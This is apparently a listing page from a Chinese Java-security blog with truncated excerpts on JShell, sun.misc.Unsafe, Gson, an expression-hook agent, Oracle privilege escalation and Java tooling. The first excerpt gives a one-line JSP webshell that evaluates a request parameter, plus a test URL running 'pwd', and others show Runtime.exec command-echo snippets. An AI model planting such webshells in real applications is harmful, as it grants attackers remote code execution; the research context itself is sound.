2019-09-10 18:56:13

JShell(JDK9+) eval 任意Java代码片段执行

最近几年开发RASP产品期间整理了很多的Java语言的特性,不过一直都没有时间写文章,可能真的是变懒了吧~ JDK9开始提供了一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今(2019年9月)了2年时间了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。 测试代码: <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%> 就这么简单的一行代码就可以了,src参数值是java代码片段。 测试用例:http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine() 如果强迫症想撸掉多余的输出: <%=jdk.jshell.JShell.builder().build().eval(request.getPara

2019-09-10 15:12:23

Java11之前使用sun.misc.Unsafe定义类对象

上一篇文章写了如何使用Unsafe来创建任意类对象的实例,这篇文章接着写如何使用Unsafe来定义一个类对象。 正常情况下我们可以重写ClassLoader类来实现定义任意的类,但是某些时候我们无法通过自定义ClassLoader来定义类的时候可以使用这种方式来定义一个class,但是前提条件是在JDK11之前的版本。 如果我们需要定义一个名为com.anbai.lingxe.agent.AbTest的类可以使用如下方式: com.anbai.lingxe.agent.AbTest示例代码如下: package com.anbai.lingxe.agent; import java.io.IOException; public class AbTest { public static Process exec(String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); } } 测试jsp代码: <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64De

2019-01-31 23:43:27

Gson sun.misc.Unsafe.allocateInstance序列化Java对象

最近使用Fastjson的时候遇到一个类无空构造方法导致无法反序列化类对象,试了下Fastjson和Jackson都无法创建,而Gson确可以无视构造方法反序列化对象。 测试类:TestRequest.java public class TestRequest implements Serializable { private String method; private String queryString; private String requestURI; public TestRequest(HttpServletRequest request) { this.method = request.getMethod(); this.queryString = request.getQueryString(); this.requestURI = request.getRequestURI(); } .......省略get/set方法 } 跟了下Gson的序列化方式发现它封装了一个com.google.gson.internal.UnsafeAllocator类,见名知意,原来Gson使用sun.misc.Unsafe的allocateInstance方法来绕过了构造方法限制创建实例。熟悉Java

2018-04-13 08:09:56

Java SpEL、Ognl、MVEL2表达式Hook项目

最近Spring连续两个命令执行,SpEL表达式在Spring的子项目中大量的使用甚至是滥用让人感觉不到安全。昨天写了一个Hook并记录Java表达式语言的项目,可用于观测命令和执行点调用链信息。适当的改改可以直接用于拦截未知的表达式注入漏洞攻击。 git地址:https://github.com/anbai-inc/javaweb-expression 这是一个专门Hook并记录Java表达式语言执行的Agent小程序。逻辑非常简单,适合初学者使用。所有的实现代码逻辑都在:org.javaweb.expression.Agent.java类里面。导入javaweb-expression并构建expression-agent模块。然后在程序运行之前加入以下jvm参数: -noverify -javaagent:/目标路径/expression-agent.jar -Dfile.encoding=UTF-8 如果是Tomcat需要修改catalina.sh或者catalina.bat文件,添加如下配置参数:JAVA_OPTS="-noverify -javaagent:/目标路径/expression-agent.jar 成功插入后控制台(可以根据具体的情况输出到文件或者数据库)会打印出拦截到的表达式和程序调用链。 如: --------------------------

2017-04-08 16:18:15

IDEA 由数据库表生成带注释的java实体类代码

Java生成实体类代码有非常多的方案,而且强大的可以生成整个项目的解决方案,不过这里只是讨论实体类的生成。IDEA提供了类似的实体类生成脚本,用起来比较方便简捷。不过需要用IDEA支持的jvm脚本语言开发(默认示例是Clojure、Groovy)。 但是自带的脚本简单到生成的代码都没法用(有bug),所以花了点时间完善了下脚本实现代码,这里简单介绍下如何使用我们的脚本去生成java实体类代码。 连接数据库: 配置数据库连接信息,如果没有下载过jdbc的jar,这里需要点击download 找到IDEA的脚本扩展目录: 在这个脚本目录下新建Generate Entitys.groovy并复制如下代码 Generate Entitys.groovy: import com.intellij.database.model.DasTable import com.intellij.database.model.ObjectKind import com.intellij.database.util.Case import com.intellij.database.util.DasUtil /* * 默认可用的 context 绑定: * SELECTION Iterable* PROJECT project * FILES fi

2015-08-25 07:30:32

java inputstream toString

在以前的众多执行利用代码当中获取命里执行结果一直是一个比较麻烦的事情,常见的byte/char[50000]、readFully、readLine但总会有很多不便,比如说readLine的while循环读取问题。使用java.util.Scanner(xxx).useDelimiter(xxx)可以快速解决命令执行回显问题。 import java.io.IOException; import java.io.InputStream; public class Exec { public static void main(String[] args) { try { InputStream in = Runtime.getRuntime().exec("ifconfig").getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A"); System.out.println(s.hasNext() ? s.next() : ""); } catch (IOException e) { e.printStackTrace(); } } } 利用Scanner读取文件内容到S

2015-03-30 10:32:48

HttpServletRequestWrapper 编码问题

当发现经过Wrapper后Spring setCharacterEncoding还乱码时,可以实现HttpServletRequestWrapper,重写public String[] getParameterValues(String name) {....}等方法,再Encoding已设了encoding。 /** * 获取应用层的编码方式,应用层Filter需要setCharacterEncoding避免乱码问题 * 当getCharacterEncoding不为空那么就可以从RequestWrapper中获取转换编码 * 后的字符串了 * @param request * @return */ public static String getCharacterEncoding(HttpServletRequest request){ String encoding = request.getCharacterEncoding(); return encoding != null ? encoding : "ISO8859-1"; } /** * 避免Filter乱码问题,默认ISO8859-1,如果应用层setCharacterEncodin

2015-01-30 15:47:18

jsoup 1.8 修改版

简单修改了几个小地方: 1、增加了自定义URL参数Encoding(connection.setURLEncoding(boolean isURLEncoding);)。 2、增加动态识别网页源码方法,原来的获取页面编码会不太准确,现在如果设置了自动parseEncoding的可以降低乱码出现率(connection.setParseEncoding(boolean parseEncoding);)。 3、增加了一个基础工具类用来发简单的HTTP请求(org.jsoup.helper.HttpRequestUtils)。 4、新增了忽略SSL证书方法(org.jsoup.helper.SslUtils) 编译环境jdk1.5 jsoup-1.8.1-yz.jar

2015-01-23 20:06:33

Oracle public权限用户通过Oracle索引提权

今天下午2点左右看到这个漏洞就立马测试了一下发现没成功(我测试的版本是12.1.0.1.0 和oracle 10g),google了一下找到了INDEX to SYSDBA without SELECT。 文章发布时间是2014年3月,当时觉得可能是一个老漏洞了(我那时还不知道这个漏洞的CVE)。到了下午看到相关的漏洞新闻报道才知道Oracle 漏洞猎手David Litchfield在去年6又发现了一个新提权漏洞(CVE-2015-0393)。 引用一篇关于这个漏洞的报道: 疑似后门:漏洞CVE-2015-0393 江湖人称“Oracle漏洞猎手”的David Litchfield在去年6月11日发现过Oracle一个疑似后门的严重漏洞CVE-2015-0393。 日前Litchfield向我们透漏了一些漏洞细节: 在该漏洞中,Oracle数据库内的PUBLIC角色在DUAL表中被授予了索引权限,也就是说任何用户都可以在该表创建索引。 DUAL表是SYS用户下的一张内部表,所有用户都可以使用DUAL名称访问,无论什么时候这个表总是存在。在DUAL表中创建了基于函数的索引后,黑客将暂时获得SYS用户权限(SYSDBA),可执行任意SQL语句进而尝试控制整个服务器。如果存在这个漏洞的电子商务套件可以从外网远程访问的话,攻击者只要有PUBLIC角色(不需要用户密码),就可以跟进

2015-01-19 22:57:14

java应用内存dump和分析工具

首先:# ps -ef |grep java 找到程序的PID,然后用jmap dump分析。 # jmap -dump:format=b,file=test.bin 23160 压缩后下载到本地。 # zip -r test.bin.zip test.bin 本机解压后使用jat查看: [yz@yz:Downloads]$ jhat test.bin Reading from test.bin... Dump file created Mon Jan 19 18:06:51 CST 2015 Snapshot read, resolving... Resolving 1602637 objects... Chasing references, expect 320 dots..................................................................................................................................................................................................................................................................